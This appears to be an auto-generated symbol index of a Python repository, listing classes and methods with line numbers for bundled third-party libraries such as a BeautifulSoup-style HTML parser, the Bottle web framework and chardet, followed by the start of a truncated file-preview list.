method __setitem__ (line 647) | def __setitem__(self, key, value):
method __delitem__ (line 661) | def __delitem__(self, key):
method __call__ (line 672) | def __call__(self, *args, **kwargs):
method __getattr__ (line 678) | def __getattr__(self, tag):
method __eq__ (line 686) | def __eq__(self, other):
method __ne__ (line 701) | def __ne__(self, other):
method __repr__ (line 706) | def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING):
method __unicode__ (line 710) | def __unicode__(self):
method __str__ (line 713) | def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING,
method decompose (line 798) | def decompose(self):
method prettify (line 815) | def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING):
method renderContents (line 818) | def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING,
method find (line 842) | def find(self, name=None, attrs={}, recursive=True, text=None,
method findAll (line 853) | def findAll(self, name=None, attrs={}, recursive=True, text=None,
method fetchText (line 874) | def fetchText(self, text=None, recursive=True, limit=None):
method firstText (line 877) | def firstText(self, text=None, recursive=True):
method _getAttrMap (line 882) | def _getAttrMap(self):
method childGenerator (line 892) | def childGenerator(self):
method recursiveChildGenerator (line 896) | def recursiveChildGenerator(self):
class SoupStrainer (line 907) | class SoupStrainer:
method __init__ (line 911) | def __init__(self, name=None, attrs={}, text=None, **kwargs):
method __str__ (line 925) | def __str__(self):
method searchTag (line 931) | def searchTag(self, markupName=None, markupAttrs={}):
method search (line 968) | def search(self, markup):
method _matches (line 995) | def _matches(self, markup, matchAgainst):
class ResultSet (line 1027) | class ResultSet(list):
method __init__ (line 1030) | def __init__(self, source):
function buildTagMap (line 1036) | def buildTagMap(default, *args):
class BeautifulStoneSoup (line 1057) | class BeautifulStoneSoup(Tag, sgmllib.SGMLParser):
method __init__ (line 1101) | def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None,
method convert_charref (line 1170) | def convert_charref(self, name):
method _feed (line 1180) | def _feed(self, inDocumentEncoding=None, isHTML=False):
method __getattr__ (line 1213) | def __getattr__(self, methodName):
method isSelfClosingTag (line 1226) | def isSelfClosingTag(self, name):
method reset (line 1232) | def reset(self):
method popTag (line 1242) | def popTag(self):
method pushTag (line 1250) | def pushTag(self, tag):
method endData (line 1257) | def endData(self, containerClass=NavigableString):
method _popToTag (line 1280) | def _popToTag(self, name, inclusivePop=True):
method _smartPop (line 1302) | def _smartPop(self, name):
method unknown_starttag (line 1348) | def unknown_starttag(self, name, attrs, selfClosing=0):
method unknown_endtag (line 1378) | def unknown_endtag(self, name):
method handle_data (line 1391) | def handle_data(self, data):
method _toStringSubclass (line 1394) | def _toStringSubclass(self, text, subclass):
method handle_pi (line 1401) | def handle_pi(self, text):
method handle_comment (line 1409) | def handle_comment(self, text):
method handle_charref (line 1413) | def handle_charref(self, ref):
method handle_entityref (line 1421) | def handle_entityref(self, ref):
method handle_decl (line 1464) | def handle_decl(self, data):
method parse_declaration (line 1468) | def parse_declaration(self, i):
class BeautifulSoup (line 1488) | class BeautifulSoup(BeautifulStoneSoup):
method __init__ (line 1536) | def __init__(self, *args, **kwargs):
method start_meta (line 1594) | def start_meta(self, attrs):
class StopParsing (line 1641) | class StopParsing(Exception):
class ICantBelieveItsBeautifulSoup (line 1644) | class ICantBelieveItsBeautifulSoup(BeautifulSoup):
class MinimalSoup (line 1680) | class MinimalSoup(BeautifulSoup):
class BeautifulSOAP (line 1693) | class BeautifulSOAP(BeautifulStoneSoup):
method popTag (line 1713) | def popTag(self):
class RobustXMLParser (line 1732) | class RobustXMLParser(BeautifulStoneSoup):
class RobustHTMLParser (line 1734) | class RobustHTMLParser(BeautifulSoup):
class RobustWackAssHTMLParser (line 1736) | class RobustWackAssHTMLParser(ICantBelieveItsBeautifulSoup):
class RobustInsanelyWackAssHTMLParser (line 1738) | class RobustInsanelyWackAssHTMLParser(MinimalSoup):
class SimplifyingSOAPParser (line 1740) | class SimplifyingSOAPParser(BeautifulSOAP):
class UnicodeDammit (line 1774) | class UnicodeDammit:
method __init__ (line 1787) | def __init__(self, markup, overrideEncodings=[],
method _subMSChar (line 1821) | def _subMSChar(self, orig):
method _convertFrom (line 1832) | def _convertFrom(self, proposed):
method _toUnicode (line 1860) | def _toUnicode(self, data, encoding):
method _detectEncoding (line 1885) | def _detectEncoding(self, xml_data, isHTML=False):
method find_codec (line 1953) | def find_codec(self, charset):
method _codec (line 1959) | def _codec(self, charset):
method _ebcdic_to_ascii (line 1970) | def _ebcdic_to_ascii(self, s):
FILE: thirdparty/bottle/bottle.py
function _cli_parse (line 31) | def _cli_parse(args): # pragma: no coverage
function _cli_patch (line 53) | def _cli_patch(cli_args): # pragma: no coverage
function getargspec (line 107) | def getargspec(func):
function _raise (line 118) | def _raise(*a):
class _UTC (line 136) | class _UTC(tzinfo):
method utcoffset (line 137) | def utcoffset(self, dt): return timedelta(0)
method tzname (line 138) | def tzname(self, dt): return "UTC"
method dst (line 139) | def dst(self, dt): return timedelta(0)
function tob (line 148) | def tob(s, enc='utf8'):
function touni (line 154) | def touni(s, enc='utf8', err='strict'):
function _stderr (line 163) | def _stderr(*args):
function update_wrapper (line 171) | def update_wrapper(wrapper, wrapped, *a, **ka):
function depr (line 181) | def depr(major, minor, cause, fix, stacklevel=3):
function makelist (line 191) | def makelist(data): # This is just too handy
class DictProperty (line 200) | class DictProperty(object):
method __init__ (line 203) | def __init__(self, attr, key=None, read_only=False):
method __call__ (line 206) | def __call__(self, func):
method __get__ (line 211) | def __get__(self, obj, cls):
method __set__ (line 217) | def __set__(self, obj, value):
method __delete__ (line 221) | def __delete__(self, obj):
class cached_property (line 226) | class cached_property(object):
method __init__ (line 231) | def __init__(self, func):
method __get__ (line 235) | def __get__(self, obj, cls):
class lazy_attribute (line 241) | class lazy_attribute(object):
method __init__ (line 244) | def __init__(self, func):
method __get__ (line 248) | def __get__(self, obj, cls):
class BottleException (line 259) | class BottleException(Exception):
class RouteError (line 268) | class RouteError(BottleException):
class RouteReset (line 272) | class RouteReset(BottleException):
class RouterUnknownModeError (line 277) | class RouterUnknownModeError(RouteError):
class RouteSyntaxError (line 282) | class RouteSyntaxError(RouteError):
class RouteBuildError (line 286) | class RouteBuildError(RouteError):
function _re_flatten (line 290) | def _re_flatten(p):
class Router (line 299) | class Router(object):
method __init__ (line 318) | def __init__(self, strict=False):
method add_filter (line 335) | def add_filter(self, name, func):
method _itertokens (line 346) | def _itertokens(self, rule):
method add (line 367) | def add(self, rule, method, target, name=None):
method _compile (line 440) | def _compile(self, method):
method build (line 452) | def build(self, _name, *anons, **query):
method match (line 465) | def match(self, environ):
class Route (line 502) | class Route(object):
method __init__ (line 508) | def __init__(self, app, rule, method, callback,
method call (line 533) | def call(self):
method reset (line 538) | def reset(self):
method prepare (line 543) | def prepare(self):
method all_plugins (line 547) | def all_plugins(self):
method _make_callback (line 558) | def _make_callback(self):
method get_undecorated_callback (line 572) | def get_undecorated_callback(self):
method get_callback_args (line 589) | def get_callback_args(self):
method get_config (line 595) | def get_config(self, key, default=None):
method __repr__ (line 603) | def __repr__(self):
class Bottle (line 614) | class Bottle(object):
method _global_config (line 624) | def _global_config(cls):
method __init__ (line 629) | def __init__(self, **kwargs):
method _hooks (line 671) | def _hooks(self):
method add_hook (line 674) | def add_hook(self, name, func):
method remove_hook (line 690) | def remove_hook(self, name, func):
method trigger_hook (line 696) | def trigger_hook(self, __name, *args, **kwargs):
method hook (line 700) | def hook(self, name):
method _mount_wsgi (line 710) | def _mount_wsgi(self, prefix, app, **options):
method _mount_app (line 751) | def _mount_app(self, prefix, app, **options):
method mount (line 774) | def mount(self, prefix, app, **options):
method merge (line 804) | def merge(self, routes):
method install (line 814) | def install(self, plugin):
method uninstall (line 826) | def uninstall(self, plugin):
method reset (line 841) | def reset(self, route=None):
method close (line 855) | def close(self):
method run (line 860) | def run(self, **kwargs):
method match (line 864) | def match(self, environ):
method get_url (line 870) | def get_url(self, routename, **kargs):
method add_route (line 876) | def add_route(self, route):
method route (line 883) | def route(self,
method get (line 933) | def get(self, path=None, method='GET', **options):
method post (line 937) | def post(self, path=None, method='POST', **options):
method put (line 941) | def put(self, path=None, method='PUT', **options):
method delete (line 945) | def delete(self, path=None, method='DELETE', **options):
method patch (line 949) | def patch(self, path=None, method='PATCH', **options):
method error (line 953) | def error(self, code=500, callback=None):
method default_error_handler (line 975) | def default_error_handler(self, res):
method _handle (line 978) | def _handle(self, environ):
method _cast (line 1028) | def _cast(self, out, peek=None):
method wsgi (line 1101) | def wsgi(self, environ, start_response):
method __call__ (line 1131) | def __call__(self, environ, start_response):
method __enter__ (line 1135) | def __enter__(self):
method __exit__ (line 1140) | def __exit__(self, exc_type, exc_value, traceback):
method __setattr__ (line 1143) | def __setattr__(self, name, value):
class BaseRequest (line 1153) | class BaseRequest(object):
method __init__ (line 1167) | def __init__(self, environ=None):
method app (line 1175) | def app(self):
method route (line 1180) | def route(self):
method url_args (line 1185) | def url_args(self):
method path (line 1190) | def path(self):
method method (line 1196) | def method(self):
method headers (line 1201) | def headers(self):
method get_header (line 1206) | def get_header(self, name, default=None):
method cookies (line 1211) | def cookies(self):
method get_cookie (line 1217) | def get_cookie(self, key, default=None, secret=None, digestmod=hashlib...
method query (line 1236) | def query(self):
method forms (line 1248) | def forms(self):
method params (line 1261) | def params(self):
method files (line 1272) | def files(self):
method json (line 1285) | def json(self):
method _iter_body (line 1303) | def _iter_body(self, read, bufsize):
method _iter_chunked (line 1312) | def _iter_chunked(read, bufsize):
method _body (line 1340) | def _body(self):
method _get_body_string (line 1360) | def _get_body_string(self, maxread):
method body (line 1371) | def body(self):
method chunked (line 1381) | def chunked(self):
method POST (line 1390) | def POST(self):
method url (line 1425) | def url(self):
method urlparts (line 1433) | def urlparts(self):
method fullpath (line 1452) | def fullpath(self):
method query_string (line 1457) | def query_string(self):
method script_name (line 1463) | def script_name(self):
method path_shift (line 1471) | def path_shift(self, shift=1):
method content_length (line 1482) | def content_length(self):
method content_type (line 1489) | def content_type(self):
method is_xhr (line 1494) | def is_xhr(self):
method is_ajax (line 1502) | def is_ajax(self):
method auth (line 1507) | def auth(self):
method remote_route (line 1521) | def remote_route(self):
method remote_addr (line 1532) | def remote_addr(self):
method copy (line 1538) | def copy(self):
method get (line 1542) | def get(self, value, default=None):
method __getitem__ (line 1545) | def __getitem__(self, key):
method __delitem__ (line 1548) | def __delitem__(self, key):
method __iter__ (line 1552) | def __iter__(self):
method __len__ (line 1555) | def __len__(self):
method keys (line 1558) | def keys(self):
method __setitem__ (line 1561) | def __setitem__(self, key, value):
method __repr__ (line 1580) | def __repr__(self):
method __getattr__ (line 1583) | def __getattr__(self, name):
method __setattr__ (line 1591) | def __setattr__(self, name, value):
method __delattr__ (line 1599) | def __delattr__(self, name):
function _hkey (line 1606) | def _hkey(key):
function _hval (line 1612) | def _hval(value):
class HeaderProperty (line 1619) | class HeaderProperty(object):
method __init__ (line 1620) | def __init__(self, name, reader=None, writer=None, default=''):
method __get__ (line 1625) | def __get__(self, obj, _):
method __set__ (line 1630) | def __set__(self, obj, value):
method __delete__ (line 1633) | def __delete__(self, obj):
class BaseResponse (line 1637) | class BaseResponse(object):
method __init__ (line 1657) | def __init__(self, body='', status=None, headers=None, **more_headers):
method copy (line 1681) | def copy(self, cls=None):
method __iter__ (line 1695) | def __iter__(self):
method close (line 1698) | def close(self):
method status_line (line 1703) | def status_line(self):
method status_code (line 1708) | def status_code(self):
method _set_status (line 1712) | def _set_status(self, status):
method _get_status (line 1727) | def _get_status(self):
method headers (line 1740) | def headers(self):
method __contains__ (line 1747) | def __contains__(self, name):
method __delitem__ (line 1750) | def __delitem__(self, name):
method __getitem__ (line 1753) | def __getitem__(self, name):
method __setitem__ (line 1756) | def __setitem__(self, name, value):
method get_header (line 1759) | def get_header(self, name, default=None):
method set_header (line 1764) | def set_header(self, name, value):
method add_header (line 1769) | def add_header(self, name, value):
method iter_headers (line 1773) | def iter_headers(self):
method _wsgi_status_line (line 1778) | def _wsgi_status_line(self):
method headerlist (line 1785) | def headerlist(self):
method charset (line 1810) | def charset(self, default='UTF-8'):
method set_cookie (line 1816) | def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha25...
method delete_cookie (line 1897) | def delete_cookie(self, key, **kwargs):
method __repr__ (line 1904) | def __repr__(self):
function _local_property (line 1911) | def _local_property():
class LocalRequest (line 1929) | class LocalRequest(BaseRequest):
class LocalResponse (line 1939) | class LocalResponse(BaseResponse):
class HTTPResponse (line 1957) | class HTTPResponse(Response, BottleException):
method __init__ (line 1965) | def __init__(self, body='', status=None, headers=None, **more_headers):
method apply (line 1968) | def apply(self, other):
class HTTPError (line 1977) | class HTTPError(HTTPResponse):
method __init__ (line 1982) | def __init__(self,
class PluginError (line 1996) | class PluginError(BottleException):
class JSONPlugin (line 2000) | class JSONPlugin(object):
method __init__ (line 2004) | def __init__(self, json_dumps=json_dumps):
method setup (line 2007) | def setup(self, app):
method apply (line 2019) | def apply(self, callback, route):
class TemplatePlugin (line 2044) | class TemplatePlugin(object):
method setup (line 2052) | def setup(self, app):
method apply (line 2055) | def apply(self, callback, route):
class _ImportRedirect (line 2066) | class _ImportRedirect(object):
method __init__ (line 2067) | def __init__(self, name, impmask):
method find_spec (line 2080) | def find_spec(self, fullname, path, target=None):
method find_module (line 2086) | def find_module(self, fullname, path=None):
method create_module (line 2091) | def create_module(self, spec):
method exec_module (line 2094) | def exec_module(self, module):
method load_module (line 2097) | def load_module(self, fullname):
class MultiDict (line 2112) | class MultiDict(DictMixin):
method __init__ (line 2118) | def __init__(self, *a, **k):
method __len__ (line 2121) | def __len__(self):
method __iter__ (line 2124) | def __iter__(self):
method __contains__ (line 2127) | def __contains__(self, key):
method __delitem__ (line 2130) | def __delitem__(self, key):
method __getitem__ (line 2133) | def __getitem__(self, key):
method __setitem__ (line 2136) | def __setitem__(self, key, value):
method keys (line 2139) | def keys(self):
method values (line 2144) | def values(self):
method items (line 2147) | def items(self):
method allitems (line 2150) | def allitems(self):
method values (line 2160) | def values(self):
method items (line 2163) | def items(self):
method iterkeys (line 2166) | def iterkeys(self):
method itervalues (line 2169) | def itervalues(self):
method iteritems (line 2172) | def iteritems(self):
method iterallitems (line 2175) | def iterallitems(self):
method allitems (line 2178) | def allitems(self):
method get (line 2181) | def get(self, key, default=None, index=-1, type=None):
method append (line 2198) | def append(self, key, value):
method replace (line 2202) | def replace(self, key, value):
method getall (line 2206) | def getall(self, key):
class FormsDict (line 2215) | class FormsDict(MultiDict):
method _fix (line 2229) | def _fix(self, s, encoding=None):
method decode (line 2237) | def decode(self, encoding=None):
method getunicode (line 2248) | def getunicode(self, name, default=None, encoding=None):
method __getattr__ (line 2255) | def __getattr__(self, name, default=unicode()):
class HeaderDict (line 2261) | class HeaderDict(MultiDict):
method __init__ (line 2265) | def __init__(self, *a, **ka):
method __contains__ (line 2269) | def __contains__(self, key):
method __delitem__ (line 2272) | def __delitem__(self, key):
method __getitem__ (line 2275) | def __getitem__(self, key):
method __setitem__ (line 2278) | def __setitem__(self, key, value):
method append (line 2281) | def append(self, key, value):
method replace (line 2284) | def replace(self, key, value):
method getall (line 2287) | def getall(self, key):
method get (line 2290) | def get(self, key, default=None, index=-1):
method filter (line 2293) | def filter(self, names):
class WSGIHeaderDict (line 2299) | class WSGIHeaderDict(DictMixin):
method __init__ (line 2313) | def __init__(self, environ):
method _ekey (line 2316) | def _ekey(self, key):
method raw (line 2323) | def raw(self, key, default=None):
method __getitem__ (line 2327) | def __getitem__(self, key):
method __setitem__ (line 2336) | def __setitem__(self, key, value):
method __delitem__ (line 2339) | def __delitem__(self, key):
method __iter__ (line 2342) | def __iter__(self):
method keys (line 2349) | def keys(self):
method __len__ (line 2352) | def __len__(self):
method __contains__ (line 2355) | def __contains__(self, key):
class ConfigDict (line 2360) | class ConfigDict(dict):
method __init__ (line 2370) | def __init__(self):
method load_module (line 2380) | def load_module(self, name, squash=True):
method load_config (line 2400) | def load_config(self, filename, **options):
method load_dict (line 2430) | def load_dict(self, source, namespace=''):
method update (line 2449) | def update(self, *a, **ka):
method setdefault (line 2463) | def setdefault(self, key, value=None):
method __setitem__ (line 2468) | def __setitem__(self, key, value):
method __delitem__ (line 2484) | def __delitem__(self, key):
method _set_virtual (line 2500) | def _set_virtual(self, key, value):
method _delete_virtual (line 2512) | def _delete_virtual(self, key):
method _on_change (line 2524) | def _on_change(self, key, value):
method _add_change_listener (line 2529) | def _add_change_listener(self, func):
method meta_get (line 2533) | def meta_get(self, key, metafield, default=None):
method meta_set (line 2537) | def meta_set(self, key, metafield, value):
method meta_list (line 2544) | def meta_list(self, key):
method _define (line 2548) | def _define(self, key, default=_UNSET, help=_UNSET, validate=_UNSET):
method _iter_overlays (line 2557) | def _iter_overlays(self):
method _make_overlay (line 2563) | def _make_overlay(self):
class AppStack (line 2601) | class AppStack(list):
method __call__ (line 2604) | def __call__(self):
method push (line 2608) | def push(self, value=None):
method default (line 2617) | def default(self):
class WSGIFileWrapper (line 2624) | class WSGIFileWrapper(object):
method __init__ (line 2625) | def __init__(self, fp, buffer_size=1024 * 64):
method __iter__ (line 2630) | def __iter__(self):
class _closeiter (line 2638) | class _closeiter(object):
method __init__ (line 2642) | def __init__(self, iterator, close=None):
method __iter__ (line 2646) | def __iter__(self):
method close (line 2649) | def close(self):
class ResourceManager (line 2654) | class ResourceManager(object):
method __init__ (line 2664) | def __init__(self, base='./', opener=open, cachemode='all'):
method add_path (line 2674) | def add_path(self, path, base=None, index=None, create=False):
method __iter__ (line 2705) | def __iter__(self):
method lookup (line 2716) | def lookup(self, name):
method open (line 2733) | def open(self, name, mode='r', *args, **kwargs):
class FileUpload (line 2740) | class FileUpload(object):
method __init__ (line 2741) | def __init__(self, fileobj, name, filename, headers=None):
method get_header (line 2755) | def get_header(self, name, default=None):
method filename (line 2760) | def filename(self):
method _copy_file (line 2779) | def _copy_file(self, fp, chunk_size=2 ** 16):
method save (line 2787) | def save(self, destination, overwrite=False, chunk_size=2 ** 16):
function abort (line 2811) | def abort(code=500, text='Unknown Error.'):
function redirect (line 2816) | def redirect(url, code=None):
function _rangeiter (line 2828) | def _rangeiter(fp, offset, limit, bufsize=1024 * 1024):
function static_file (line 2839) | def static_file(filename, root,
function debug (line 2953) | def debug(mode=True):
function http_date (line 2961) | def http_date(value):
function parse_date (line 2977) | def parse_date(ims):
function parse_auth (line 2986) | def parse_auth(header):
function parse_range_header (line 2997) | def parse_range_header(header, maxlen=0):
function _parse_http_header (line 3019) | def _parse_http_header(h):
function _parse_qsl (line 3052) | def _parse_qsl(qs):
function _lscmp (line 3064) | def _lscmp(a, b):
function cookie_encode (line 3071) | def cookie_encode(data, key, digestmod=None):
function cookie_decode (line 3081) | def cookie_decode(data, key, digestmod=None):
function cookie_is_encoded (line 3095) | def cookie_is_encoded(data):
function html_escape (line 3102) | def html_escape(string):
function html_quote (line 3108) | def html_quote(string):
function yieldroutes (line 3114) | def yieldroutes(func):
function path_shift (line 3134) | def path_shift(script_name, path_info, shift=1):
function auth_basic (line 3165) | def auth_basic(check, realm="private", text="Access denied"):
function make_default_app_wrapper (line 3188) | def make_default_app_wrapper(name):
class MultipartError (line 3219) | class MultipartError(HTTPError):
method __init__ (line 3220) | def __init__(self, msg):
class _MultipartParser (line 3224) | class _MultipartParser(object):
method __init__ (line 3225) | def __init__(
method _lineiter (line 3251) | def _lineiter(self):
method parse (line 3288) | def parse(self):
class _MultipartPart (line 3348) | class _MultipartPart(object):
method __init__ (line 3349) | def __init__(self, buffer_size=2 ** 16, memfile_limit=2 ** 18, charset...
method feed (line 3363) | def feed(self, line, nl=""):
method write_header (line 3368) | def write_header(self, line, nl):
method write_body (line 3386) | def write_body(self, line, nl):
method finish_header (line 3408) | def finish_header(self):
method finish (line 3429) | def finish(self):
method is_buffered (line 3434) | def is_buffered(self):
method value (line 3439) | def value(self):
method raw (line 3445) | def raw(self):
method close (line 3455) | def close(self):
class ServerAdapter (line 3468) | class ServerAdapter(object):
method __init__ (line 3471) | def __init__(self, host='127.0.0.1', port=8080, **options):
method run (line 3476) | def run(self, handler): # pragma: no cover
method __repr__ (line 3479) | def __repr__(self):
class CGIServer (line 3485) | class CGIServer(ServerAdapter):
method run (line 3488) | def run(self, handler): # pragma: no cover
class FlupFCGIServer (line 3498) | class FlupFCGIServer(ServerAdapter):
method run (line 3499) | def run(self, handler): # pragma: no cover
class WSGIRefServer (line 3505) | class WSGIRefServer(ServerAdapter):
method run (line 3506) | def run(self, app): # pragma: no cover
class CherryPyServer (line 3538) | class CherryPyServer(ServerAdapter):
method run (line 3539) | def run(self, handler): # pragma: no cover
class CherootServer (line 3567) | class CherootServer(ServerAdapter):
method run (line 3568) | def run(self, handler): # pragma: no cover
class WaitressServer (line 3586) | class WaitressServer(ServerAdapter):
method run (line 3587) | def run(self, handler):
class PasteServer (line 3592) | class PasteServer(ServerAdapter):
method run (line 3593) | def run(self, handler): # pragma: no cover
class MeinheldServer (line 3602) | class MeinheldServer(ServerAdapter):
method run (line 3603) | def run(self, handler):
class FapwsServer (line 3609) | class FapwsServer(ServerAdapter):
method run (line 3612) | def run(self, handler): # pragma: no cover
class TornadoServer (line 3635) | class TornadoServer(ServerAdapter):
method run (line 3638) | def run(self, handler): # pragma: no cover
class AppEngineServer (line 3646) | class AppEngineServer(ServerAdapter):
method run (line 3650) | def run(self, handler):
class TwistedServer (line 3662) | class TwistedServer(ServerAdapter):
method run (line 3665) | def run(self, handler):
class DieselServer (line 3678) | class DieselServer(ServerAdapter):
method run (line 3681) | def run(self, handler):
class GeventServer (line 3688) | class GeventServer(ServerAdapter):
method run (line 3694) | def run(self, handler):
class GunicornServer (line 3709) | class GunicornServer(ServerAdapter):
method run (line 3712) | def run(self, handler):
class EventletServer (line 3733) | class EventletServer(ServerAdapter):
method run (line 3743) | def run(self, handler):
class BjoernServer (line 3763) | class BjoernServer(ServerAdapter):
method run (line 3766) | def run(self, handler):
class AsyncioServerAdapter (line 3770) | class AsyncioServerAdapter(ServerAdapter):
method get_event_loop (line 3772) | def get_event_loop(self):
class AiohttpServer (line 3775) | class AiohttpServer(AsyncioServerAdapter):
method get_event_loop (line 3781) | def get_event_loop(self):
method run (line 3785) | def run(self, handler):
class AiohttpUVLoopServer (line 3798) | class AiohttpUVLoopServer(AiohttpServer):
method get_event_loop (line 3802) | def get_event_loop(self):
class AutoServer (line 3806) | class AutoServer(ServerAdapter):
method run (line 3811) | def run(self, handler):
function load (line 3847) | def load(target, **namespace):
function load_app (line 3867) | def load_app(target):
function run (line 3885) | def run(app=None,
class FileCheckerThread (line 3998) | class FileCheckerThread(threading.Thread):
method __init__ (line 4002) | def __init__(self, lockfile, interval):
method run (line 4009) | def run(self):
method __enter__ (line 4031) | def __enter__(self):
method __exit__ (line 4034) | def __exit__(self, exc_type, *_):
class TemplateError (line 4044) | class TemplateError(BottleException):
class BaseTemplate (line 4048) | class BaseTemplate(object):
method __init__ (line 4054) | def __init__(self,
method search (line 4085) | def search(cls, name, lookup=None):
method global_config (line 4105) | def global_config(cls, key, *args):
method prepare (line 4113) | def prepare(self, **options):
method render (line 4120) | def render(self, *args, **kwargs):
class MakoTemplate (line 4130) | class MakoTemplate(BaseTemplate):
method prepare (line 4131) | def prepare(self, **options):
method render (line 4144) | def render(self, *args, **kwargs):
class CheetahTemplate (line 4152) | class CheetahTemplate(BaseTemplate):
method prepare (line 4153) | def prepare(self, **options):
method render (line 4163) | def render(self, *args, **kwargs):
class Jinja2Template (line 4173) | class Jinja2Template(BaseTemplate):
method prepare (line 4174) | def prepare(self, filters=None, tests=None, globals={}, **kwargs):
method render (line 4185) | def render(self, *args, **kwargs):
method loader (line 4192) | def loader(self, name):
class SimpleTemplate (line 4202) | class SimpleTemplate(BaseTemplate):
method prepare (line 4203) | def prepare(self,
method co (line 4216) | def co(self):
method code (line 4220) | def code(self):
method _rebase (line 4234) | def _rebase(self, _env, _name=None, **kwargs):
method _include (line 4237) | def _include(self, _env, _name=None, **kwargs):
method execute (line 4244) | def execute(self, _stdout, kwargs):
method render (line 4267) | def render(self, *args, **kwargs):
class StplSyntaxError (line 4278) | class StplSyntaxError(TemplateError):
class StplParser (line 4282) | class StplParser(object):
method __init__ (line 4339) | def __init__(self, source, syntax=None, encoding='utf8'):
method get_syntax (line 4347) | def get_syntax(self):
method set_syntax (line 4351) | def set_syntax(self, syntax):
method translate (line 4365) | def translate(self):
method read_code (line 4388) | def read_code(self, pysource, multiline):
method flush_text (line 4441) | def flush_text(self):
method process_inline (line 4463) | def process_inline(chunk):
method write_code (line 4467) | def write_code(self, line, comment=''):
function template (line 4473) | def template(*args, **kwargs):
function view (line 4506) | def view(tpl_name, **defaults):
function _main (line 4622) | def _main(argv): # pragma: no coverage
function main (line 4676) | def main():
FILE: thirdparty/chardet/__init__.py
function detect (line 24) | def detect(byte_str):
FILE: thirdparty/chardet/big5prober.py
class Big5Prober (line 34) | class Big5Prober(MultiByteCharSetProber):
method __init__ (line 35) | def __init__(self):
method charset_name (line 42) | def charset_name(self):
method language (line 46) | def language(self):
FILE: thirdparty/chardet/chardistribution.py
class CharDistributionAnalysis (line 40) | class CharDistributionAnalysis(object):
method __init__ (line 46) | def __init__(self):
method reset (line 61) | def reset(self):
method feed (line 70) | def feed(self, char, char_len):
method get_confidence (line 84) | def get_confidence(self):
method got_enough_data (line 100) | def got_enough_data(self):
method get_order (line 105) | def get_order(self, byte_str):
class EUCTWDistributionAnalysis (line 113) | class EUCTWDistributionAnalysis(CharDistributionAnalysis):
method __init__ (line 114) | def __init__(self):
method get_order (line 120) | def get_order(self, byte_str):
class EUCKRDistributionAnalysis (line 132) | class EUCKRDistributionAnalysis(CharDistributionAnalysis):
method __init__ (line 133) | def __init__(self):
method get_order (line 139) | def get_order(self, byte_str):
class GB2312DistributionAnalysis (line 151) | class GB2312DistributionAnalysis(CharDistributionAnalysis):
method __init__ (line 152) | def __init__(self):
method get_order (line 158) | def get_order(self, byte_str):
class Big5DistributionAnalysis (line 170) | class Big5DistributionAnalysis(CharDistributionAnalysis):
method __init__ (line 171) | def __init__(self):
method get_order (line 177) | def get_order(self, byte_str):
class SJISDistributionAnalysis (line 192) | class SJISDistributionAnalysis(CharDistributionAnalysis):
method __init__ (line 193) | def __init__(self):
method get_order (line 199) | def get_order(self, byte_str):
class EUCJPDistributionAnalysis (line 217) | class EUCJPDistributionAnalysis(CharDistributionAnalysis):
method __init__ (line 218) | def __init__(self):
method get_order (line 224) | def get_order(self, byte_str):
FILE: thirdparty/chardet/charsetgroupprober.py
class CharSetGroupProber (line 32) | class CharSetGroupProber(CharSetProber):
method __init__ (line 33) | def __init__(self, lang_filter=None):
method reset (line 39) | def reset(self):
method charset_name (line 50) | def charset_name(self):
method language (line 58) | def language(self):
method feed (line 65) | def feed(self, byte_str):
method get_confidence (line 85) | def get_confidence(self):
FILE: thirdparty/chardet/charsetprober.py
class CharSetProber (line 35) | class CharSetProber(object):
method __init__ (line 39) | def __init__(self, lang_filter=None):
method reset (line 44) | def reset(self):
method charset_name (line 48) | def charset_name(self):
method feed (line 51) | def feed(self, buf):
method state (line 55) | def state(self):
method get_confidence (line 58) | def get_confidence(self):
method filter_high_byte_only (line 62) | def filter_high_byte_only(buf):
method filter_international_words (line 67) | def filter_international_words(buf):
method filter_with_english_letters (line 104) | def filter_with_english_letters(buf):
FILE: thirdparty/chardet/codingstatemachine.py
class CodingStateMachine (line 33) | class CodingStateMachine(object):
method __init__ (line 55) | def __init__(self, sm):
method reset (line 63) | def reset(self):
method next_state (line 66) | def next_state(self, c):
method get_current_charlen (line 80) | def get_current_charlen(self):
method get_coding_state_machine (line 83) | def get_coding_state_machine(self):
method language (line 87) | def language(self):
FILE: thirdparty/chardet/cp949prober.py
class CP949Prober (line 34) | class CP949Prober(MultiByteCharSetProber):
method __init__ (line 35) | def __init__(self):
method charset_name (line 44) | def charset_name(self):
method language (line 48) | def language(self):
FILE: thirdparty/chardet/enums.py
class InputState (line 8) | class InputState(object):
class LanguageFilter (line 17) | class LanguageFilter(object):
class ProbingState (line 32) | class ProbingState(object):
class MachineState (line 41) | class MachineState(object):
class SequenceLikelihood (line 50) | class SequenceLikelihood(object):
method get_num_categories (line 60) | def get_num_categories(cls):
class CharacterCategory (line 65) | class CharacterCategory(object):
FILE: thirdparty/chardet/escprober.py
class EscCharSetProber (line 35) | class EscCharSetProber(CharSetProber):
method __init__ (line 42) | def __init__(self, lang_filter=None):
method reset (line 58) | def reset(self):
method charset_name (line 70) | def charset_name(self):
method language (line 74) | def language(self):
method get_confidence (line 77) | def get_confidence(self):
method feed (line 83) | def feed(self, byte_str):
FILE: thirdparty/chardet/eucjpprober.py
class EUCJPProber (line 36) | class EUCJPProber(MultiByteCharSetProber):
method __init__ (line 37) | def __init__(self):
method reset (line 44) | def reset(self):
method charset_name (line 49) | def charset_name(self):
method language (line 53) | def language(self):
method feed (line 56) | def feed(self, byte_str):
method get_confidence (line 89) | def get_confidence(self):
FILE: thirdparty/chardet/euckrprober.py
class EUCKRProber (line 34) | class EUCKRProber(MultiByteCharSetProber):
method __init__ (line 35) | def __init__(self):
method charset_name (line 42) | def charset_name(self):
method language (line 46) | def language(self):
FILE: thirdparty/chardet/euctwprober.py
class EUCTWProber (line 33) | class EUCTWProber(MultiByteCharSetProber):
method __init__ (line 34) | def __init__(self):
Condensed preview — 652 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (4,575K chars).
[
{
"path": ".gitattributes",
"chars": 420,
"preview": "*.conf text eol=lf\n*.json text eol=lf\n*.html text eol=lf\n*.md text eol=lf\n*.md5 text eol=lf\n*.pl text eol=lf\n*.py text e"
},
{
"path": ".github/CODE_OF_CONDUCT.md",
"chars": 784,
